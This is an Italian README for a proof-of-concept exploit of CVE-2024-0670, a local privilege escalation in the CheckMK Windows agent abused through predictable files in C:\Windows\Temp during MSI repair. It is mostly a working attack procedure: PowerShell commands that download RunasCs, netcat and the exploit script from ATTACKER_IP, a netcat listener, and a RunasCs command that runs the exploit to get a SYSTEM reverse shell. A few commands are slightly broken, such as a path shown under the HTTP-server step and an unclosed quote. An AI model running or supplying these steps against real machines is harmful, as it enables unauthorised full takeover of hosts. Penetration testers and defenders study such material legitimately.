CVE-2024-0670 – Escalation dei privilegi locali dell'Agente CheckMK (PoC)

Questo repository contiene una proof-of-concept semplice e pulita per CVE-2024-0670, una vulnerabilità di escalation dei privilegi locali nell'agente Windows di CheckMK. Un utente con privilegi limitati può ottenere privilegi SYSTEM abusando di percorsi di file temporanei scrivibili eseguiti durante la riparazione MSI.

🔍 Riepilogo della vulnerabilità

• Vendor: Tribe29
• CVE: CVE-2024-0670
• Avviso: https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/

Durante una riparazione MSI, CheckMK esegue file in:

  C:\Windows\Temp\

Se un utente normale può collocare file con nomi prevedibili in quella cartella, può eseguire comandi come NT AUTHORITY\SYSTEM.

Questo exploit inserisce più nomi di file payload e attiva la riparazione MSI per ottenere l'esecuzione come SYSTEM.

📂 File

RunasCs.exe     → runas replacement (plaintext password support)
nc.exe          → Netcat (reverse shell)
exploit.ps1     → CVE-2024-0670 exploit script
README.md       → documentation

🛠 Requisiti

• Utente Windows con privilegi limitati
• PowerShell abilitato
• Agente Windows di CheckMK installato
• Possibilità di scaricare file
• Python (per un semplice server HTTP)
• Listener Netcat sulla macchina dell'attaccante

📡 Avvia il server HTTP

  C:\Windows\Temp\

📥 Scarica gli strumenti sul target

Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1

🚀 Esecuzione dell'exploit

Avvia un listener sulla tua macchina:

nc -lvnp 1111

.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"

Se l'operazione riesce, riceverai una reverse shell con privilegi SYSTEM.

🔧 Compilare RunasCs manualmente (opzionale)

net4: 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs 

net2: 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs

⚖️ Disclaimer legale

Questo progetto è destinato esclusivamente a scopi educativi e test di penetrazione autorizzati. Non utilizzarlo per scopi illegali. L'autore non è responsabile per un uso improprio.